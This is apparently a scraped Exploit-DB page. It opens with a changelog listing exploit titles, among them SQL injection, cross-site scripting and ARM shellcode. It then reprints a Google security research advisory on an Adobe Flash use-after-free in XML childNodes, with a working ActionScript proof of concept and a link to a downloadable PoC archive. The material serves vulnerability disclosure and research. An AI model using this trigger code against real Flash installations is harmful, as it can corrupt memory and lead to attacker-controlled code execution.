
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
57 lines
No EOL
2.2 KiB
Text
57 lines
No EOL
2.2 KiB
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
|
|
|
|
If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows:
|
|
|
|
var doc:XML = new XML();
|
|
var rootNode:XMLNode = doc.createElement("rootNode");
|
|
var oldest:XMLNode = doc.createElement("oldest");
|
|
var middle:XMLNode = doc.createElement("middle");
|
|
var youngest:XMLNode = doc.createElement("youngest");
|
|
var youngest1:XMLNode = doc.createElement("youngest1");
|
|
var youngest2:XMLNode = doc.createElement("youngest2");
|
|
var youngest3:XMLNode = doc.createElement("youngest3");
|
|
|
|
// add the rootNode as the root of the XML document tree
|
|
doc.appendChild(rootNode);
|
|
|
|
// add each of the child nodes as children of rootNode
|
|
rootNode.appendChild(oldest);
|
|
rootNode.appendChild(middle);
|
|
rootNode.appendChild(youngest1);
|
|
rootNode.appendChild(youngest2);
|
|
rootNode.appendChild(youngest3);
|
|
|
|
// create an array and use rootNode to populate it
|
|
var firstArray:Array = rootNode.childNodes;
|
|
trace (firstArray.length);
|
|
|
|
firstArray[0] = "test";
|
|
firstArray.watch("length", f);
|
|
rootNode.appendChild(youngest);
|
|
|
|
function f(a, b){
|
|
|
|
trace("in f " + a + " " + b + " " + c);
|
|
if(b == 1){
|
|
firstArray.unwatch("length");
|
|
middle.removeNode();
|
|
oldest.removeNode();
|
|
youngest1.removeNode();
|
|
youngest2.removeNode();
|
|
youngest3.removeNode();
|
|
youngest.removeNode();
|
|
}
|
|
|
|
|
|
for(var i = 0; i < 100; i++){
|
|
var b = new flash.display.BitmapData(100, 1000, true, 1000);
|
|
var c = "aaaaaaaaaaaaa";
|
|
}
|
|
|
|
trace("end length " + rootNode.childNodes.length);
|
|
}
|
|
|
|
A sample fla and swf are also attached.
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37859.zip |